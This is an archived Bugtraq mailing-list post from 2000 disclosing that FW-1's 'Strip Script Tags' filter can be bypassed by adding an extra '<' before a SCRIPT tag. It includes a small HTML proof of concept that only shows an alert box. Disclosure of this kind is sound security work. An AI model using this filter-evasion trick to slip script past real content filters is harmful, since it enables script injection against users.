Bugtraq mailing list archives
"Strip Script Tags" in FW-1 can be circumvented
From: arne.vidstrom () NTSECURITY NU (Arne Vidstrom)
Date: Sat, 29 Jan 2000 14:51:46 +0100
Hi all, The "Strip Script Tags" in FW-1 can be circumvented by adding an extra < before the <SCRIPT> tag like in this code: <HTML> <HEAD> <<SCRIPT LANGUAGE="JavaScript"> alert("hello world") </SCRIPT> </HEAD> <BODY> test </BODY> </HTML> This code will pass unchanged, and still execute in both Navigator and Explorer. I tried this on version 3.0 of FW-1 (on Windows NT 4.0) but I'm not able to check it on version 4.0 since I don't have access to it. /Arne Vidstrom http://ntsecurity.nu
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- Re: S/Key & OPIE Database Vulnerability Jordan Ritter (Jan 27)
- Re: S/Key & OPIE Database Vulnerability Jordan Ritter (Jan 28)
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